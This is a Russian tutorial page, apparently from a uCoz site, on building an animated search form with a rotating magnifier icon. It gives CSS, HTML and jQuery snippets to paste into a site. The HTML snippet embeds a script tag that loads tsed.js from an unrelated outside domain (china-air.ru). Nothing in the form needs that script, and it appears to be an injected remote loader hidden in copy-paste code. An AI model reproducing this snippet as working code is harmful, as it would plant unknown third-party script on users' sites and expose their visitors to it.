Воскресенье, 25.02.2018, 04:41


Вниз Главная Регистрация RSS
Приветствую Вас, Гость


Радио ТРАНС
Игротека
Наш опрос
Оцените мой сайт
Всего ответов: 88
Статистика
Яндекс.Метрика Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Главная » 2012 » Декабрь » 24 » Форма поиска для Ucoz
00:21
Форма поиска для Ucoz
Интернет Технологии [2]Телефоны [0]uCoz CSS КодыСкрипты [94]



Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...

Просмотров: 352 | Добавил: startsmart | Рейтинг: 0.0/ 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

 

Новое на сайте

 

Самое популярное

 

 Коды скрипты

Случайная статья

  • Чудо ферма \ Virtual farm 90
  • Cities XL Platinum 2013 75
  • Именем короля 3. Коллекционное издание 91
  • Браузер Maxthon 192
  • Download Master 5.12.1.1283 180
  • RIFT – многопользовательская онлайн игра 205
  • Улесье. Коллекционное издание 151
  • Articles – лучшая Wikipedia в кармане 175
  • Будущее настоящего прошлого_скачать 339
  • Darck Orbit – браузерная игра 196
  • iSendSMS - для отправки SMS и MMS 230
  • Lunascape 6.2 Универсальный браузер 188
  • XnView Full-один из лучших просмотрщиков -конверторов графических файлов 216
  • Бизнес Пак - бесплатно 271
  • AKVIS Chameleon - коллажи 321

  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29945
  • FrontPage 2003 Русская версия 11686
  • Игра "Фараон и Клеопатра" скачать бесплатно 6918
  • Mozilla Firefox 8.0.1 - русская версия скачать 4213
  • Новый Супер Марио 4152
  • Игра в Длинные нарды 4056
  • Медитация для привлечения Любви 3767
  • Сборник_Программа настроев Г.Н.Сытина скачать 2916
  • FFrontPage 2007 Русская версия 2844
  • Авто выключение компьютера_WinMend Auto Shutdown 2665
  • Астрон Дизайн - 3D моделирование Вашего дома 2116
  • Спец эффекты с ВебКамерой 2097
  • Штука - игра в карты 1799
  • Если хочешь быть счастливым - Литвак Михаил 1563
  • Программа для быстрого создания Flash-анимации 1528

  • Лента комментариев 363
  • Проверка на вирусы [Dr.Web] 335
  • Скрипт кнопки на верх для вашего сайта 281
  • Движущийся блок - Друзья сайта 374
  • Форма поиска для Ucoz 351
  • Красивая статистика для uCoz 361
  • Топ пользователей для сайта ucoz 281
  • Последние комментарии как на diz-cs 290
  • Мини профиль с временем суток и функциональным меню 279
  • Плеер онлайн радио для сайтов UCOZ и DLE 286
  • Полный мини-чат для uCoz 352
  • Интересные часы для сайтов ucoz 294
  • Белый плеер с плейлистом 450
  • Android-планшет, PocketBook A 10 2105
  • Скрипт синий мини-профиль + форма входа для uCoz 370

  • Отправить SMS с сайта 276
  • Коте для вашего сайта 276
  • Новый вид статистики пользователей 277
  • Вид комментариев для uCoz v.5 277
  • Флэш проигрыватель с большим количеством радиостанций.. 277
  • Перевод сайта на 7 языков 277
  • Полная статистика Ucoz 277
  • Последние комментарии ucoz 277

  • Чудо ферма \ Virtual farm 90
  • DriverPack Solution - автоматическая установка драйверов 628
  • Улесье. Коллекционное издание 151
  • Стили CSS #937 260
  • Медитация для привлечения Любви 3767
  • Шаблон Радуга_для Укоса 338
  • Articles – лучшая Wikipedia в кармане 175


  • Внимание!

    ВСЕ скачанные файлы с интернета, (и с нашего сайта, так же) перед запуском на своем компьютере рекомендуется ОБЯЗАТЕЛЬНО проверить Вашей антивирусной программой!
    Все файлы и программы взяты с интернет пространства.
    Администрация сайта не несет никакой ответственности за использование и последствия данных программ и файлов

    Вверх Главная Регистрация RSS
    Приветствую Вас, Гость